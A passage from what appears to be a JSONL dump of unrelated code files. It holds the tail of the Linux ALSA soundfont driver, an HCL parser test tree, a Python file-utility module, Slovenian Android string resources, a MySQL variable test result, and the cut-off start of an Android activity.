0x7adf2, 0x7afbe, 0x7b188,\n\t0x7b350, 0x7b515, 0x7b6d8, 0x7b899, 0x7ba58, 0x7bc15, 0x7bdd0, 0x7bf89,\n\t0x7c140, 0x7c2f5, 0x7c4a7, 0x7c658, 0x7c807, 0x7c9b3, 0x7cb5e, 0x7cd07,\n\t0x7ceae, 0x7d053, 0x7d1f7, 0x7d398, 0x7d538, 0x7d6d6, 0x7d872, 0x7da0c,\n\t0x7dba4, 0x7dd3b, 0x7ded0, 0x7e063, 0x7e1f4, 0x7e384, 0x7e512, 0x7e69f,\n\t0x7e829, 0x7e9b3, 0x7eb3a, 0x7ecc0, 0x7ee44, 0x7efc7, 0x7f148, 0x7f2c8,\n\t0x7f446, 0x7f5c2, 0x7f73d, 0x7f8b7, 0x7fa2f, 0x7fba5, 0x7fd1a, 0x7fe8d,\n\t0x80000,\n};\n\n/* convert from linear to log value\n *\n * conversion: value = log2(amount / base) * ratio\n *\n * argument:\n * amount = linear value (unsigned, 32bit max)\n * offset = base offset (:= log2(base) * 0x10000)\n * ratio = division ratio\n *\n */\nint\nsnd_sf_linear_to_log(unsigned int amount, int offset, int ratio)\n{\n\tint v;\n\tint s, low, bit;\n\t\n\tif (amount < 2)\n\t\treturn 0;\n\tfor (bit = 0; ! (amount & 0x80000000L); bit++)\n\t\tamount <<= 1;\n\ts = (amount >> 24) & 0x7f;\n\tlow = (amount >> 16) & 0xff;\n\t/* linear approxmimation by lower 8 bit */\n\tv = (log_tbl[s + 1] * low + log_tbl[s] * (0x100 - low)) >> 8;\n\tv -= offset;\n\tv = (v * ratio) >> 16;\n\tv += (24 - bit) * ratio;\n\treturn v;\n}\n\nEXPORT_SYMBOL(snd_sf_linear_to_log);\n\n\n#define OFFSET_MSEC\t\t653117\t\t/* base = 1000 */\n#define OFFSET_ABSCENT\t\t851781\t\t/* base = 8176 */\n#define OFFSET_SAMPLERATE\t1011119\t\t/* base = 44100 */\n\n#define ABSCENT_RATIO\t\t1200\n#define TIMECENT_RATIO\t\t1200\n#define SAMPLERATE_RATIO\t4096\n\n/*\n * mHz to abscent\n * conversion: abscent = log2(MHz / 8176) * 1200\n */\nstatic int\nfreq_to_note(int mhz)\n{\n\treturn snd_sf_linear_to_log(mhz, OFFSET_ABSCENT, ABSCENT_RATIO);\n}\n\n/* convert Hz to AWE32 rate offset:\n * sample pitch offset for the specified sample rate\n * rate=44100 is no offset, each 4096 is 1 octave (twice).\n * eg, when rate is 22050, this offset becomes -4096.\n *\n * conversion: offset = log2(Hz / 44100) * 4096\n */\nstatic int\ncalc_rate_offset(int hz)\n{\n\treturn snd_sf_linear_to_log(hz, OFFSET_SAMPLERATE, SAMPLERATE_RATIO);\n}\n\n\n/* calculate GUS envelope time */\nstatic int\ncalc_gus_envelope_time(int rate, int start, int end)\n{\n\tint r, p, t;\n\tr = (3 - ((rate >> 6) & 3)) * 3;\n\tp = rate & 0x3f;\n\tif (!p)\n\t\tp = 1;\n\tt = end - start;\n\tif (t < 0) t = -t;\n\tif (13 > r)\n\t\tt = t << (13 - r);\n\telse\n\t\tt = t >> (r - 13);\n\treturn (t * 10) / (p * 441);\n}\n\n/* convert envelope time parameter to soundfont parameters */\n\n/* attack & decay/release time table (msec) */\nstatic const short attack_time_tbl[128] = {\n32767, 32767, 5989, 4235, 2994, 2518, 2117, 1780, 1497, 1373, 1259, 1154, 1058, 970, 890, 816,\n707, 691, 662, 634, 607, 581, 557, 533, 510, 489, 468, 448, 429, 411, 393, 377,\n361, 345, 331, 317, 303, 290, 278, 266, 255, 244, 234, 224, 214, 205, 196, 188,\n180, 172, 165, 158, 151, 145, 139, 133, 127, 122, 117, 112, 107, 102, 98, 94,\n90, 86, 82, 79, 75, 72, 69, 66, 63, 61, 58, 56, 53, 51, 49, 47,\n45, 43, 41, 39, 37, 36, 34, 33, 31, 30, 29, 28, 26, 25, 24, 23,\n22, 21, 20, 19, 19, 18, 17, 16, 16, 15, 15, 14, 13, 13, 12, 12,\n11, 11, 10, 10, 10, 9, 9, 8, 8, 8, 8, 7, 7, 7, 6, 0,\n};\n\nstatic const short decay_time_tbl[128] = {\n32767, 32767, 22614, 15990, 11307, 9508, 7995, 6723, 5653, 5184, 4754, 4359, 3997, 3665, 3361, 3082,\n2828, 2765, 2648, 2535, 2428, 2325, 2226, 2132, 2042, 1955, 1872, 1793, 1717, 1644, 1574, 1507,\n1443, 1382, 1324, 1267, 1214, 1162, 1113, 1066, 978, 936, 897, 859, 822, 787, 754, 722,\n691, 662, 634, 607, 581, 557, 533, 510, 489, 468, 448, 429, 411, 393, 377, 361,\n345, 331, 317, 303, 290, 278, 266, 255, 244, 234, 224, 214, 205, 196, 188, 180,\n172, 165, 158, 151, 145, 139, 133, 127, 122, 117, 112, 107, 102, 98, 94, 90,\n86, 82, 79, 75, 72, 69, 66, 63, 61, 58, 56, 53, 51, 49, 47, 45,\n43, 41, 39, 37, 36, 34, 33, 31, 30, 29, 28, 26, 25, 24, 23, 22,\n};\n\n/* delay time = 0x8000 - msec/92 */\nint\nsnd_sf_calc_parm_hold(int msec)\n{\n\tint val = (0x7f * 92 - msec) / 92;\n\tif (val < 1) val = 1;\n\tif (val >= 126) val = 126;\n\treturn val;\n}\n\n/* search an index for specified time from given time table */\nstatic int\ncalc_parm_search(int msec, const short *table)\n{\n\tint left = 1, right = 127, mid;\n\twhile (left < right) {\n\t\tmid = (left + right) / 2;\n\t\tif (msec < (int)table[mid])\n\t\t\tleft = mid + 1;\n\t\telse\n\t\t\tright = mid;\n\t}\n\treturn left;\n}\n\n/* attack time: search from time table */\nint\nsnd_sf_calc_parm_attack(int msec)\n{\n\treturn calc_parm_search(msec, attack_time_tbl);\n}\n\n/* decay/release time: search from time table */\nint\nsnd_sf_calc_parm_decay(int msec)\n{\n\treturn calc_parm_search(msec, decay_time_tbl);\n}\n\nint snd_sf_vol_table[128] = {\n\t255,111,95,86,79,74,70,66,63,61,58,56,54,52,50,49,\n\t47,46,45,43,42,41,40,39,38,37,36,35,34,34,33,32,\n\t31,31,30,29,29,28,27,27,26,26,25,24,24,23,23,22,\n\t22,21,21,21,20,20,19,19,18,18,18,17,17,16,16,16,\n\t15,15,15,14,14,14,13,13,13,12,12,12,11,11,11,10,\n\t10,10,10,9,9,9,8,8,8,8,7,7,7,7,6,6,\n\t6,6,5,5,5,5,5,4,4,4,4,3,3,3,3,3,\n\t2,2,2,2,2,1,1,1,1,1,0,0,0,0,0,0,\n};\n\n\n#define calc_gus_sustain(val) (0x7f - snd_sf_vol_table[(val)/2])\n#define calc_gus_attenuation(val)\tsnd_sf_vol_table[(val)/2]\n\n/* load GUS patch */\nstatic int\nload_guspatch(struct snd_sf_list *sflist, const char __user *data,\n\t long count, int client)\n{\n\tstruct patch_info patch;\n\tstruct snd_soundfont *sf;\n\tstruct snd_sf_zone *zone;\n\tstruct snd_sf_sample *smp;\n\tint note, sample_id;\n\tint rc;\n\n\tif (count < (long)sizeof(patch)) {\n\t\tsnd_printk(KERN_ERR \"patch record too small %ld\\n\", count);\n\t\treturn -EINVAL;\n\t}\n\tif (copy_from_user(&patch, data, sizeof(patch)))\n\t\treturn -EFAULT;\n\t\n\tcount -= sizeof(patch);\n\tdata += sizeof(patch);\n\n\tsf = newsf(sflist, SNDRV_SFNT_PAT_TYPE_GUS|SNDRV_SFNT_PAT_SHARED, NULL);\n\tif (sf == NULL)\n\t\treturn -ENOMEM;\n\tif ((smp = sf_sample_new(sflist, sf)) == NULL)\n\t\treturn -ENOMEM;\n\tsample_id = sflist->sample_counter;\n\tsmp->v.sample = sample_id;\n\tsmp->v.start = 0;\n\tsmp->v.end = patch.len;\n\tsmp->v.loopstart = patch.loop_start;\n\tsmp->v.loopend = patch.loop_end;\n\tsmp->v.size = patch.len;\n\n\t/* set up mode flags */\n\tsmp->v.mode_flags = 0;\n\tif (!(patch.mode & WAVE_16_BITS))\n\t\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_8BITS;\n\tif (patch.mode & WAVE_UNSIGNED)\n\t\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_UNSIGNED;\n\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_NO_BLANK;\n\tif (!(patch.mode & (WAVE_LOOPING|WAVE_BIDIR_LOOP|WAVE_LOOP_BACK)))\n\t\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_SINGLESHOT;\n\tif (patch.mode & WAVE_BIDIR_LOOP)\n\t\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_BIDIR_LOOP;\n\tif (patch.mode & WAVE_LOOP_BACK)\n\t\tsmp->v.mode_flags |= SNDRV_SFNT_SAMPLE_REVERSE_LOOP;\n\n\tif (patch.mode & WAVE_16_BITS) {\n\t\t/* convert to word offsets */\n\t\tsmp->v.size /= 2;\n\t\tsmp->v.end /= 2;\n\t\tsmp->v.loopstart /= 2;\n\t\tsmp->v.loopend /= 2;\n\t}\n\t/*smp->v.loopend++;*/\n\n\tsmp->v.dummy = 0;\n\tsmp->v.truesize = 0;\n\tsmp->v.sf_id = sf->id;\n\n\t/* set up voice info */\n\tif ((zone = sf_zone_new(sflist, sf)) == NULL) {\n\t\tsf_sample_delete(sflist, sf, smp);\n\t\treturn -ENOMEM;\n\t}\n\n\t/*\n\t * load wave data\n\t */\n\tif (sflist->callback.sample_new) {\n\t\trc = sflist->callback.sample_new\n\t\t\t(sflist->callback.private_data, smp, sflist->memhdr,\n\t\t\t data, count);\n\t\tif (rc < 0) {\n\t\t\tsf_sample_delete(sflist, sf, smp);\n\t\t\tkfree(zone);\n\t\t\treturn rc;\n\t\t}\n\t\t/* memory offset is updated after */\n\t}\n\n\t/* update the memory offset here */\n\tsflist->mem_used += smp->v.truesize;\n\n\tzone->v.sample = sample_id; /* the last sample */\n\tzone->v.rate_offset = calc_rate_offset(patch.base_freq);\n\tnote = freq_to_note(patch.base_note);\n\tzone->v.root = note / 100;\n\tzone->v.tune = -(note % 100);\n\tzone->v.low = (freq_to_note(patch.low_note) + 99) / 100;\n\tzone->v.high = freq_to_note(patch.high_note) / 100;\n\t/* panning position; -128 - 127 => 0-127 */\n\tzone->v.pan = (patch.panning + 128) / 2;\n#if 0\n\tsnd_printk(KERN_DEBUG\n\t\t \"gus: basefrq=%d (ofs=%d) root=%d,tune=%d, range:%d-%d\\n\",\n\t\t (int)patch.base_freq, zone->v.rate_offset,\n\t\t zone->v.root, zone->v.tune, zone->v.low, zone->v.high);\n#endif\n\n\t/* detuning is ignored */\n\t/* 6points volume envelope */\n\tif (patch.mode & WAVE_ENVELOPES) {\n\t\tint attack, hold, decay, release;\n\t\tattack = calc_gus_envelope_time\n\t\t\t(patch.env_rate[0], 0, patch.env_offset[0]);\n\t\thold = calc_gus_envelope_time\n\t\t\t(patch.env_rate[1], patch.env_offset[0],\n\t\t\t patch.env_offset[1]);\n\t\tdecay = calc_gus_envelope_time\n\t\t\t(patch.env_rate[2], patch.env_offset[1],\n\t\t\t patch.env_offset[2]);\n\t\trelease = calc_gus_envelope_time\n\t\t\t(patch.env_rate[3], patch.env_offset[1],\n\t\t\t patch.env_offset[4]);\n\t\trelease += calc_gus_envelope_time\n\t\t\t(patch.env_rate[4], patch.env_offset[3],\n\t\t\t patch.env_offset[4]);\n\t\trelease += calc_gus_envelope_time\n\t\t\t(patch.env_rate[5], patch.env_offset[4],\n\t\t\t patch.env_offset[5]);\n\t\tzone->v.parm.volatkhld = \n\t\t\t(snd_sf_calc_parm_hold(hold) << 8) |\n\t\t\tsnd_sf_calc_parm_attack(attack);\n\t\tzone->v.parm.voldcysus = (calc_gus_sustain(patch.env_offset[2]) << 8) |\n\t\t\tsnd_sf_calc_parm_decay(decay);\n\t\tzone->v.parm.volrelease = 0x8000 | snd_sf_calc_parm_decay(release);\n\t\tzone->v.attenuation = calc_gus_attenuation(patch.env_offset[0]);\n#if 0\n\t\tsnd_printk(KERN_DEBUG\n\t\t\t \"gus: atkhld=%x, dcysus=%x, volrel=%x, att=%d\\n\",\n\t\t\t zone->v.parm.volatkhld,\n\t\t\t zone->v.parm.voldcysus,\n\t\t\t zone->v.parm.volrelease,\n\t\t\t zone->v.attenuation);\n#endif\n\t}\n\n\t/* fast release */\n\tif (patch.mode & WAVE_FAST_RELEASE) {\n\t\tzone->v.parm.volrelease = 0x807f;\n\t}\n\n\t/* tremolo effect */\n\tif (patch.mode & WAVE_TREMOLO) {\n\t\tint rate = (patch.tremolo_rate * 1000 / 38) / 42;\n\t\tzone->v.parm.tremfrq = ((patch.tremolo_depth / 2) << 8) | rate;\n\t}\n\t/* vibrato effect */\n\tif (patch.mode & WAVE_VIBRATO) {\n\t\tint rate = (patch.vibrato_rate * 1000 / 38) / 42;\n\t\tzone->v.parm.fm2frq2 = ((patch.vibrato_depth / 6) << 8) | rate;\n\t}\n\t\n\t/* scale_freq, scale_factor, volume, and fractions not implemented */\n\n\tif (!(smp->v.mode_flags & SNDRV_SFNT_SAMPLE_SINGLESHOT))\n\t\tzone->v.mode = SNDRV_SFNT_MODE_LOOPING;\n\telse\n\t\tzone->v.mode = 0;\n\n\t/* append to the tail of the list */\n\t/*zone->bank = ctrls[AWE_MD_GUS_BANK];*/\n\tzone->bank = 0;\n\tzone->instr = patch.instr_no;\n\tzone->mapped = 0;\n\tzone->v.sf_id = sf->id;\n\n\tzone->sample = set_sample(sf, &zone->v);\n\n\t/* rebuild preset now */\n\tadd_preset(sflist, zone);\n\n\treturn 0;\n}\n\n/* load GUS patch */\nint\nsnd_soundfont_load_guspatch(struct snd_sf_list *sflist, const char __user *data,\n\t\t\t long count, int client)\n{\n\tint rc;\n\tlock_preset(sflist);\n\trc = load_guspatch(sflist, data, count, client);\n\tunlock_preset(sflist);\n\treturn rc;\n}\n\n\n/*\n * Rebuild the preset table. This is like a hash table in that it allows\n * quick access to the zone information. For each preset there are zone\n * structures linked by next_instr and by next_zone. Former is the whole\n * link for this preset, and latter is the link for zone (i.e. instrument/\n * bank/key combination).\n */\nstatic void\nrebuild_presets(struct snd_sf_list *sflist)\n{\n\tstruct snd_soundfont *sf;\n\tstruct snd_sf_zone *cur;\n\n\t/* clear preset table */\n\tmemset(sflist->presets, 0, sizeof(sflist->presets));\n\n\t/* search all fonts and insert each font */\n\tfor (sf = sflist->fonts; sf; sf = sf->next) {\n\t\tfor (cur = sf->zones; cur; cur = cur->next) {\n\t\t\tif (! cur->mapped && cur->sample == NULL) {\n\t\t\t\t/* try again to search the corresponding sample */\n\t\t\t\tcur->sample = set_sample(sf, &cur->v);\n\t\t\t\tif (cur->sample == NULL)\n\t\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tadd_preset(sflist, cur);\n\t\t}\n\t}\n}\n\n\n/*\n * add the given zone to preset table\n */\nstatic void\nadd_preset(struct snd_sf_list *sflist, struct snd_sf_zone *cur)\n{\n\tstruct snd_sf_zone *zone;\n\tint index;\n\n\tzone = search_first_zone(sflist, cur->bank, cur->instr, cur->v.low);\n\tif (zone && zone->v.sf_id != cur->v.sf_id) {\n\t\t/* different instrument was already defined */\n\t\tstruct snd_sf_zone *p;\n\t\t/* compare the allocated time */\n\t\tfor (p = zone; p; p = p->next_zone) {\n\t\t\tif (p->counter > cur->counter)\n\t\t\t\t/* the current is older.. skipped */\n\t\t\t\treturn;\n\t\t}\n\t\t/* remove old zones */\n\t\tdelete_preset(sflist, zone);\n\t\tzone = NULL; /* do not forget to clear this! */\n\t}\n\n\t/* prepend this zone */\n\tif ((index = get_index(cur->bank, cur->instr, cur->v.low)) < 0)\n\t\treturn;\n\tcur->next_zone = zone; /* zone link */\n\tcur->next_instr = sflist->presets[index]; /* preset table link */\n\tsflist->presets[index] = cur;\n}\n\n/*\n * delete the given zones from preset_table\n */\nstatic void\ndelete_preset(struct snd_sf_list *sflist, struct snd_sf_zone *zp)\n{\n\tint index;\n\tstruct snd_sf_zone *p;\n\n\tif ((index = get_index(zp->bank, zp->instr, zp->v.low)) < 0)\n\t\treturn;\n\tfor (p = sflist->presets[index]; p; p = p->next_instr) {\n\t\twhile (p->next_instr == zp) {\n\t\t\tp->next_instr = zp->next_instr;\n\t\t\tzp = zp->next_zone;\n\t\t\tif (zp == NULL)\n\t\t\t\treturn;\n\t\t}\n\t}\n}\n\n\n/*\n * Search matching zones from preset table.\n * The note can be rewritten by preset mapping (alias).\n * The found zones are stored on 'table' array. max_layers defines\n * the maximum number of elements in this array.\n * This function returns the number of found zones. 0 if not found.\n */\nint\nsnd_soundfont_search_zone(struct snd_sf_list *sflist, int *notep, int vel,\n\t\t\t int preset, int bank,\n\t\t\t int def_preset, int def_bank,\n\t\t\t struct snd_sf_zone **table, int max_layers)\n{\n\tint nvoices;\n\tunsigned long flags;\n\n\t/* this function is supposed to be called atomically,\n\t * so we check the lock. if it's busy, just returns 0 to\n\t * tell the caller the busy state\n\t */\n\tspin_lock_irqsave(&sflist->lock, flags);\n\tif (sflist->presets_locked) {\n\t\tspin_unlock_irqrestore(&sflist->lock, flags);\n\t\treturn 0;\n\t}\n\tnvoices = search_zones(sflist, notep, vel, preset, bank,\n\t\t\t table, max_layers, 0);\n\tif (! nvoices) {\n\t\tif (preset != def_preset || bank != def_bank)\n\t\t\tnvoices = search_zones(sflist, notep, vel,\n\t\t\t\t\t def_preset, def_bank,\n\t\t\t\t\t table, max_layers, 0);\n\t}\n\tspin_unlock_irqrestore(&sflist->lock, flags);\n\treturn nvoices;\n}\n\n\n/*\n * search the first matching zone\n */\nstatic struct snd_sf_zone *\nsearch_first_zone(struct snd_sf_list *sflist, int bank, int preset, int key)\n{\n\tint index;\n\tstruct snd_sf_zone *zp;\n\n\tif ((index = get_index(bank, preset, key)) < 0)\n\t\treturn NULL;\n\tfor (zp = sflist->presets[index]; zp; zp = zp->next_instr) {\n\t\tif (zp->instr == preset && zp->bank == bank)\n\t\t\treturn zp;\n\t}\n\treturn NULL;\n}\n\n\n/*\n * search matching zones from sflist. can be called recursively.\n */\nstatic int\nsearch_zones(struct snd_sf_list *sflist, int *notep, int vel,\n\t int preset, int bank, struct snd_sf_zone **table,\n\t int max_layers, int level)\n{\n\tstruct snd_sf_zone *zp;\n\tint nvoices;\n\n\tzp = search_first_zone(sflist, bank, preset, *notep);\n\tnvoices = 0;\n\tfor (; zp; zp = zp->next_zone) {\n\t\tif (*notep >= zp->v.low && *notep <= zp->v.high &&\n\t\t vel >= zp->v.vellow && vel <= zp->v.velhigh) {\n\t\t\tif (zp->mapped) {\n\t\t\t\t/* search preset mapping (aliasing) */\n\t\t\t\tint key = zp->v.fixkey;\n\t\t\t\tpreset = zp->v.start;\n\t\t\t\tbank = zp->v.end;\n\n\t\t\t\tif (level > 5) /* too deep alias level */\n\t\t\t\t\treturn 0;\n\t\t\t\tif (key < 0)\n\t\t\t\t\tkey = *notep;\n\t\t\t\tnvoices = search_zones(sflist, &key, vel,\n\t\t\t\t\t\t preset, bank, table,\n\t\t\t\t\t\t max_layers, level + 1);\n\t\t\t\tif (nvoices > 0)\n\t\t\t\t\t*notep = key;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ttable[nvoices++] = zp;\n\t\t\tif (nvoices >= max_layers)\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn nvoices;\n}\n\n\n/* calculate the index of preset table:\n * drums are mapped from 128 to 255 according to its note key.\n * other instruments are mapped from 0 to 127.\n * if the index is out of range, return -1.\n */\nstatic int\nget_index(int bank, int instr, int key)\n{\n\tint index;\n\tif (SF_IS_DRUM_BANK(bank))\n\t\tindex = key + SF_MAX_INSTRUMENTS;\n\telse\n\t\tindex = instr;\n\tindex = index % SF_MAX_PRESETS;\n\tif (index < 0)\n\t\treturn -1;\n\treturn index;\n}\n\n/*\n * Initialise the sflist structure.\n */\nstatic void\nsnd_sf_init(struct snd_sf_list *sflist)\n{\n\tmemset(sflist->presets, 0, sizeof(sflist->presets));\n\n\tsflist->mem_used = 0;\n\tsflist->currsf = NULL;\n\tsflist->open_client = -1;\n\tsflist->fonts = NULL;\n\tsflist->fonts_size = 0;\n\tsflist->zone_counter = 0;\n\tsflist->sample_counter = 0;\n\tsflist->zone_locked = 0;\n\tsflist->sample_locked = 0;\n}\n\n/*\n * Release all list records\n */\nstatic void\nsnd_sf_clear(struct snd_sf_list *sflist)\n{\n\tstruct snd_soundfont *sf, *nextsf;\n\tstruct snd_sf_zone *zp, *nextzp;\n\tstruct snd_sf_sample *sp, *nextsp;\n\n\tfor (sf = sflist->fonts; sf; sf = nextsf) {\n\t\tnextsf = sf->next;\n\t\tfor (zp = sf->zones; zp; zp = nextzp) {\n\t\t\tnextzp = zp->next;\n\t\t\tkfree(zp);\n\t\t}\n\t\tfor (sp = sf->samples; sp; sp = nextsp) {\n\t\t\tnextsp = sp->next;\n\t\t\tif (sflist->callback.sample_free)\n\t\t\t\tsflist->callback.sample_free(sflist->callback.private_data,\n\t\t\t\t\t\t\t sp, sflist->memhdr);\n\t\t\tkfree(sp);\n\t\t}\n\t\tkfree(sf);\n\t}\n\n\tsnd_sf_init(sflist);\n}\n\n\n/*\n * Create a new sflist structure\n */\nstruct snd_sf_list *\nsnd_sf_new(struct snd_sf_callback *callback, struct snd_util_memhdr *hdr)\n{\n\tstruct snd_sf_list *sflist;\n\n\tif ((sflist = kzalloc(sizeof(*sflist), GFP_KERNEL)) == NULL)\n\t\treturn NULL;\n\n\tmutex_init(&sflist->presets_mutex);\n\tspin_lock_init(&sflist->lock);\n\tsflist->memhdr = hdr;\n\n\tif (callback)\n\t\tsflist->callback = *callback;\n\n\tsnd_sf_init(sflist);\n\treturn sflist;\n}\n\n\n/*\n * Free everything allocated off the sflist structure.\n */\nvoid\nsnd_sf_free(struct snd_sf_list *sflist)\n{\n\tif (sflist == NULL)\n\t\treturn;\n\t\n\tlock_preset(sflist);\n\tif (sflist->callback.sample_reset)\n\t\tsflist->callback.sample_reset(sflist->callback.private_data);\n\tsnd_sf_clear(sflist);\n\tunlock_preset(sflist);\n\n\tkfree(sflist);\n}\n\n/*\n * Remove all samples\n * The soundcard should be silet before calling this function.\n */\nint\nsnd_soundfont_remove_samples(struct snd_sf_list *sflist)\n{\n\tlock_preset(sflist);\n\tif (sflist->callback.sample_reset)\n\t\tsflist->callback.sample_reset(sflist->callback.private_data);\n\tsnd_sf_clear(sflist);\n\tunlock_preset(sflist);\n\n\treturn 0;\n}\n\n/*\n * Remove unlocked samples.\n * The soundcard should be silent before calling this function.\n */\nint\nsnd_soundfont_remove_unlocked(struct snd_sf_list *sflist)\n{\n\tstruct snd_soundfont *sf;\n\tstruct snd_sf_zone *zp, *nextzp;\n\tstruct snd_sf_sample *sp, *nextsp;\n\n\tlock_preset(sflist);\n\n\tif (sflist->callback.sample_reset)\n\t\tsflist->callback.sample_reset(sflist->callback.private_data);\n\n\t/* to be sure */\n\tmemset(sflist->presets, 0, sizeof(sflist->presets));\n\n\tfor (sf = sflist->fonts; sf; sf = sf->next) {\n\t\tfor (zp = sf->zones; zp; zp = nextzp) {\n\t\t\tif (zp->counter < sflist->zone_locked)\n\t\t\t\tbreak;\n\t\t\tnextzp = zp->next;\n\t\t\tsf->zones = nextzp;\n\t\t\tkfree(zp);\n\t\t}\n\n\t\tfor (sp = sf->samples; sp; sp = nextsp) {\n\t\t\tif (sp->counter < sflist->sample_locked)\n\t\t\t\tbreak;\n\t\t\tnextsp = sp->next;\n\t\t\tsf->samples = nextsp;\n\t\t\tsflist->mem_used -= sp->v.truesize;\n\t\t\tif (sflist->callback.sample_free)\n\t\t\t\tsflist->callback.sample_free(sflist->callback.private_data,\n\t\t\t\t\t\t\t sp, sflist->memhdr);\n\t\t\tkfree(sp);\n\t\t}\n\t}\n\n\tsflist->zone_counter = sflist->zone_locked;\n\tsflist->sample_counter = sflist->sample_locked;\n\n\trebuild_presets(sflist);\n\n\tunlock_preset(sflist);\n\treturn 0;\n}\n"} {"text": "HCLFile: ClosingBraceInInterpolationStringLiteral.tf\n HCLProperty\n HCLIdentifier\n PsiElement(ID)('stage')\n PsiWhiteSpace(' ')\n PsiElement(=)('=')\n PsiWhiteSpace(' ')\n HCLStringLiteral\n PsiElement(DOUBLE_QUOTED_STRING)('\"${replace(\"}\", \"$\")}\"')"} {"text": "import os\nimport fnmatch\nimport shutil\n\n\ndef print_parse_exception(exc, filename=None):\n msg = \"Parse Error \"\n if filename:\n msg += \"while compiling {0}\".format(filename)\n msg += \": \" + exc.msg + \"\\n\"\n msg += exc.line + \"\\n\"\n msg += \" \"*(exc.column-1) + \"^\"\n print(msg)\n\n\ndef walk_folder(root='.'):\n for subdir, dirs, files in os.walk(root):\n reldir = subdir[len(root):] if subdir.startswith(root) else subdir\n reldir = reldir.lstrip('/')\n for filename in files:\n yield os.path.join(reldir, filename)\n\n\ndef open_file(path, mode='rb', create_dir=False, create_mode=0o755):\n # Opens the given path. If create_dir is set, will\n # create all intermediate folders necessary to open\n try:\n newfile = open(path, mode)\n except IOError:\n # end here if not create_dir\n if not create_dir:\n raise\n newfile = None\n\n if not newfile:\n # may raise OSError\n filedir = os.path.split(path)[0]\n os.makedirs(filedir, create_mode)\n newfile = open(path, mode)\n\n return newfile\n\n\ndef copy_file(src, dst, create_dir=True, create_mode=0o755):\n try:\n shutil.copy2(src, dst)\n except IOError:\n if not create_dir:\n raise\n # may raise OSError\n filedir = os.path.split(dst)[0]\n os.makedirs(filedir, create_mode)\n shutil.copy2(src, dst)\n\n\ndef matches_pattern(pattern, filepath):\n\n def _is_match(pattern_list, token_list):\n if not pattern_list or not token_list:\n return False\n i, j = 0, 0\n while True:\n if pattern_list[j] == '**':\n if j+1 == len(pattern_list): return True\n if _is_match(pattern_list[j+1:], token_list[i:]):\n return True\n else:\n i+=1 \n elif fnmatch.fnmatch(token_list[i], pattern_list[j]):\n i+=1\n j+=1\n else:\n return False\n if i==len(token_list) and j==len(pattern_list):\n return True\n if i==len(token_list) or j==len(pattern_list):\n return False\n\n return _is_match(pattern.strip('/').split('/'), \n filepath.strip('/').split('/'))\n\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- Copyright (C) 2012 The Android Open Source Project\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n -->\n\n<resources xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:xliff=\"urn:oasis:names:tc:xliff:document:1.2\">\n <string name=\"abc_action_mode_done\" msgid=\"4076576682505996667\">\"Končano\"</string>\n <string name=\"abc_action_bar_home_description\" msgid=\"4600421777120114993\">\"Krmarjenje domov\"</string>\n <string name=\"abc_action_bar_up_description\" msgid=\"1594238315039666878\">\"Krmarjenje navzgor\"</string>\n <string name=\"abc_action_menu_overflow_description\" msgid=\"3588849162933574182\">\"Več možnosti\"</string>\n <string name=\"abc_searchview_description_search\" msgid=\"8264924765203268293\">\"Iskanje\"</string>\n <string name=\"abc_searchview_description_query\" msgid=\"2550479030709304392\">\"Iskalna poizvedba\"</string>\n <string name=\"abc_searchview_description_clear\" msgid=\"3691816814315814921\">\"Izbris poizvedbe\"</string>\n <string name=\"abc_searchview_description_submit\" msgid=\"8928215447528550784\">\"Pošiljanje poizvedbe\"</string>\n <string name=\"abc_searchview_description_voice\" msgid=\"893419373245838918\">\"Glasovno iskanje\"</string>\n <string name=\"abc_activitychooserview_choose_application\" msgid=\"2031811694353399454\">\"Izbira aplikacije\"</string>\n <string name=\"abc_activity_chooser_view_see_all\" msgid=\"7468859129482906941\">\"Pokaži vse\"</string>\n <string name=\"abc_shareactionprovider_share_with_application\" msgid=\"7165123711973476752\">\"Deljenje z:\"</string>\n <string name=\"abc_shareactionprovider_share_with\" msgid=\"3421042268587513524\">\"Deljenje z\"</string>\n</resources>\n"} {"text": "select @@global.performance_schema_digests_size;\n@@global.performance_schema_digests_size\n123\nselect @@session.performance_schema_digests_size;\nERROR HY000: Variable 'performance_schema_digests_size' is a GLOBAL variable\nshow global variables like 'performance_schema_digests_size';\nVariable_name\tValue\nperformance_schema_digests_size\t123\nshow session variables like 'performance_schema_digests_size';\nVariable_name\tValue\nperformance_schema_digests_size\t123\nselect * from performance_schema.global_variables\nwhere variable_name='performance_schema_digests_size';\nVARIABLE_NAME\tVARIABLE_VALUE\nperformance_schema_digests_size\t123\nselect * from performance_schema.session_variables\nwhere variable_name='performance_schema_digests_size';\nVARIABLE_NAME\tVARIABLE_VALUE\nperformance_schema_digests_size\t123\nset global performance_schema_digests_size=1;\nERROR HY000: Variable 'performance_schema_digests_size' is a read only variable\nset session performance_schema_digests_size=1;\nERROR HY000: Variable 'performance_schema_digests_size' is a read only variable\n"} {"text": "package com.rocky.rxretrofit.ui.activity;\n\nimport android.os.Bundle;\nimport android.support.v7.app.AppCompatActivity;\nimport android.support.v7.widget.AppCompatTextView;\n\nimport com.rocky.rxretrofit.R;\nimport com.rocky.rxretrofit.support.retrofit.model.ContactInfoModel;\nimport com.rocky.rxretrofit.support.retrofit.network.ApiClient;\nimport com.rocky.rxretrofit.support.retrofit.network.ObserverUtil;\nimport com.rocky.rxretrofit.support.retrofit.network.SingleCallback;\nimport com.rocky.rxretrofit.support.retrofit.network.WebserviceBuilder;\nimport com.rocky.rxretrofit.support.utils.AppLog;\n\nimport io.reactivex.disposables.CompositeDisposable;\n\npublic class SingleActivity extends AppCompatActivity implements SingleCallback {\n\n private CompositeDisposable compositeDisposable;\n private AppCompatTextView txtNameVal;\n private 